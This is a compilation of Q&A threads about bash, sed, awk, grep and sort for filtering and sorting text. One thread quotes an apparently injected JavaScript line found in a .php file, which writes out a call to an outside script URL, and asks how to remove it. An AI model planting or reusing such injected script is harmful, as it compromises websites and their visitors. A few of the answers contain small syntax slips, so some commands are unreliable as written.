Bash issue with floating point numbers in specific format - linux

(Need in bash linux)I have a file with numbers like this
1.415949602
91.09582241
91.12042924
91.40270349
91.45625033
91.70150341
91.70174342
91.70660043
91.70966213
91.72597066
91.7287678315
91.7398645966
91.7542977976
91.7678146465
91.77196659
91.77299733
abcdefghij
91.7827827
91.78288651
91.7838959
91.7855
91.79080605
91.80103075
91.8050505
sed 's/^91\.//' file (working)
Any way possible I can do these 3 steps?
1st I try this
cat input | tr -d 91. > 1.txt (didnt work)
cat input | tr -d "91." > 1.txt (didnt work)
cat input | tr -d '91.' > 1.txt (didnt work)
then
grep -x '.\{10\}' (working)
then
grep "^[6-9]" (working)
Final 1 line solution
cat input.txt | sed 's/\91.//g' | grep -x '.\{10\}' | grep "^[6-9]" > output.txt

Your "final" solution:
cat input.txt |
sed 's/\91.//g' |
grep -x '.\{10\}' |
grep "^[6-9]" > output.txt
should avoid the useless cat, and also move the backslash in the sed script to the correct place (and I added a ^ anchor and removed the g flag since you don't expect more than one match on a line anyway);
sed 's/^91\.//' input.txt |
grep -x '.\{10\}' |
grep "^[6-9]" > output.txt
You might also be able to get rid of at least one useless grep but at this point, I would switch to Awk:
awk '{ sub(/^91\./, "") } /^[6-9].{9}$/' input.txt >output.txt
The sub() does what your sed replacement did; the final condition says to print lines which match the regex.
The same can conveniently, but less readably, be written in sed:
sed -n 's/^91\.([6-9][0-9]\{9\}\)$/\1/p' input.txt >output.txt
assuming your sed dialect supports BRE regex with repetitions like [0-9]\{9\}.

Related

In bash, how to sort strings including numbers?

I have a script that outputs file paths (via find) :
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3-something16
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something1
/foo/bar/example/foo/bar/example/foo-bar-example/1.2-something5
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something2
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something10
How can I list them in Bash so that they are in ascending numeric order based on the number at the end and regardless of the version ( 1.2, 1.2.3 or 1.2.3.4)
Ps : the something part can eventually contain a dash.
Desired output :
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something1
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something2
/foo/bar/example/foo/bar/example/foo-bar-example/1.2-something5
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something10
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3-something16
I used a temporary sentinel character to delimit the number at the end but it's a little bit complicated in my case.
Extract the number at the end, prepend it to all the lines, sort numerically and finally delete that number:
sed -r 's/(.*)([^0-9])([0-9]+)$/\3\1\2\3/' file | sort -n | sed 's/^[0-9]*//'
With your input, this returns:
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something1
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something2
/foo/bar/example/foo/bar/example/foo-bar-example/1.2-something5
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something10
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3-something16
I think this is the Schwartzian transform.
By pieces:
$ sed -r 's/(.*)([^0-9])([0-9]+)$/\3\1\2\3/' a
16/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3-something16
1/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something1
5/foo/bar/example/foo/bar/example/foo-bar-example/1.2-something5
2/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something2
10/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something10
#^
#note the numbers here
$ sed -r 's/(.*)([^0-9])([0-9]+)$/\3\1\2\3/' a | sort -n
1/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something1
2/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something2
5/foo/bar/example/foo/bar/example/foo-bar-example/1.2-something5
10/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something10
16/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3-something16
# ^
# now it is ordered
$ sed -r 's/(.*)([^0-9])([0-9]+)$/\3\1\2\3/' a | sort -n | sed 's/^[0-9]*//'
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something1
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something2
/foo/bar/example/foo/bar/example/foo-bar-example/1.2-something5
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something10
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3-something16
You can use this sed + sort + awk:
sed -E 's/.*[^0-9]([0-9]+)$/\1 &/' file | sort -n | awk '{print $2}'
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something1
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something2
/foo/bar/example/foo/bar/example/foo-bar-example/1.2-something5
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3.4-something10
/foo/bar/example/foo/bar/example/foo-bar-example/1.2.3-something16
If you can ensure that you will never have a '#' character in your file, you can try:
sed -e 's/something/#/g' filename.txt | sort -t# -k2 -n | sed -e 's/#/something/g'

replace a whole line in a file centos

I have a script in .php file which is the following :
var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}
I would like to replace in cmd line the whole line with (1) empty char. Is it possible? tried to do it with sed , but probably this is a too complex string.Tried to set the string in var , but didn't work either . Has anybody any idea?
This is actually something sed excels in. :)
sed -i '1s/.*/ /' your-file
Example:
$ cat test
one
two
three
$ sed '1s/.*/ /' < test
two
three
On my OS X i tested this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i '.txt' $strnum's/.*/ /' test.txt; done
On CentOS should work this script:
for strnum in $(grep -n "qwe" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done
You should replace qwe with your pattern. It will replace all strings where pattern would be found to space.
To put right content in grep, it should be prepared. You should create file with required pattern and start command:
echo '"'$(cat your_file | sed -e 's|"|\\"|g')'"'
Result of this command should be replaced qwe(with quotes for sure).
You should get something like this:
for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done

How get value from text file in linux

I have some file xxx.conf in text format. I have some text "disablelog = 1" in this file.
When I use
grep -r "disablelog" oscam.conf
output is
disablelog = 1
But i need only value 1.
Do you have some idea please?
one way is to use awk to print just the value
grep -r "disablelog" oscam.conf | awk '{print $3}'
you could also use sed to replace diablelog = with empty
grep -r 'disablelog' oscam.conf | sed -e 's/disablelog = //'
If you also want to get the lines with or without space before and after = use
grep -r 'disablelog' oscam.conf | sed 's/disablelog\s*=\s*//'
above command will also match
disablelog=1
Assuming you need it as a var in a script:
#!/bin/bash
DISABLELOG=$(awk -F= '/^.*disablelog/{gsub(/ /,"",$2);print $2}' /path/to/oscam.conf)
echo $DISABLELOG
When calling this script, the output should be 1.
Edit: No matter wether there is whitespace or not between the equals sign and the value, the above will handle that. The regex should be anchored in either way to improve performance.
Try:
grep -r "disablelog" oscam.conf | awk -F= '{print $2}'
Just for fun a solution without awk
grep -r disablelog | cut -d= -f2 | xargs
xargs is used here to trim the whitespace

Bash sort by regexp

I have something about 100 files with the following syntax
ahfsdjfhdfhj_EPI_34_fdsafasdf
asdfasdf_EPI_2_fdsf
hfdjh_EPI_8_dhfffffffffff
ffffffffffasdfsdf_EPI_1_fyyy44
...
There is always EPI_NUMBER. How can I sort it by this number?
From your example it appears that delimiter is _ and text EPI_nnn comes at the same position after delimiter _. If that is always the case then you can use following command to sort the file:
sort -n -t "_" -k 3 file.txt
UPDATE:
If position of EPI_ text is not fixed then use following shell command:
sed 's/^\(.*EPI_\)\(.*\)$/\2##\1/' file.txt | sort -n -t "_" -k1 | sed 's/^\(.*\)##\(.*\)$/\2\1/'
If Perl is okay you can:
print sort foo <>;
sub foo {
($x = $a) =~s/.*EPI_(\d+).*/$1/;
($y = $b) =~s/.*EPI_(\d+).*/$1/;
return $x <=> $y;
}
and use it as:
perl prg.pl inputfile
See it
sed -e 's/EPI_/EPI /' file1 file2 ...|sort -n -k 2 -t ' '
Pipe that to sed -e 's/ /_/' to get back the original form.
This might work for you:
ls | sed 's/.*EPI_\([0-9]*\)/\1 &/' | sort -n | sed 's/\S* //'

Get line number while using grep

I am using grep recursive to search files for a string, and all the matched files and the lines containing that string are print on the terminal. But is it possible to get the line numbers of those lines too??
ex: presently what I get is /var/www/file.php: $options = "this.target", but what I am trying to get is /var/www/file.php: 1142 $options = "this.target";, well where 1142 would be the line number containing that string.
Syntax I am using to grep recursively is sudo grep -r 'pattern' '/var/www/file.php'
One more question is, how do we get results for not equal to a pattern. Like all the files but not the ones having a certain string?
grep -n SEARCHTERM file1 file2 ...
Line numbers are printed with grep -n:
grep -n pattern file.txt
To get only the line number (without the matching line), one may use cut:
grep -n pattern file.txt | cut -d : -f 1
Lines not containing a pattern are printed with grep -v:
grep -v pattern file.txt
If you want only the line number do this:
grep -n Pattern file.ext | gawk '{print $1}' FS=":"
Example:
$ grep -n 9780545460262 EXT20130410.txt | gawk '{print $1}' FS=":"
48793
52285
54023
grep -A20 -B20 pattern file.txt
Search pattern and show 20 lines after and before pattern
grep -nr "search string" directory
This gives you the line with the line number.
In order to display the results with the line numbers, you might try this
grep -nr "word to search for" /path/to/file/file
The result should be something like this:
linenumber: other data "word to search for" other data
When working with vim you can place
function grepn() {
grep -n $# /dev/null | awk -F $':' '{t = $1; $1 = $2; $2 = t; print; }' OFS=$':' | sed 's/^/vim +/' | sed '/:/s// /' | sed '/:/s// : /'
}
in your .bashrc and then
grepn SEARCHTERM file1 file2 ...
results in
vim +123 file1 : xxxxxxSEARCHTERMxxxxxxxxxx
vim +234 file2 : xxxxxxSEARCHTERMxxxxxxxxxx
Now, you can open vim on the correspondending line (for example line 123) by simply copying
vim +123 file1
to your shell.

Resources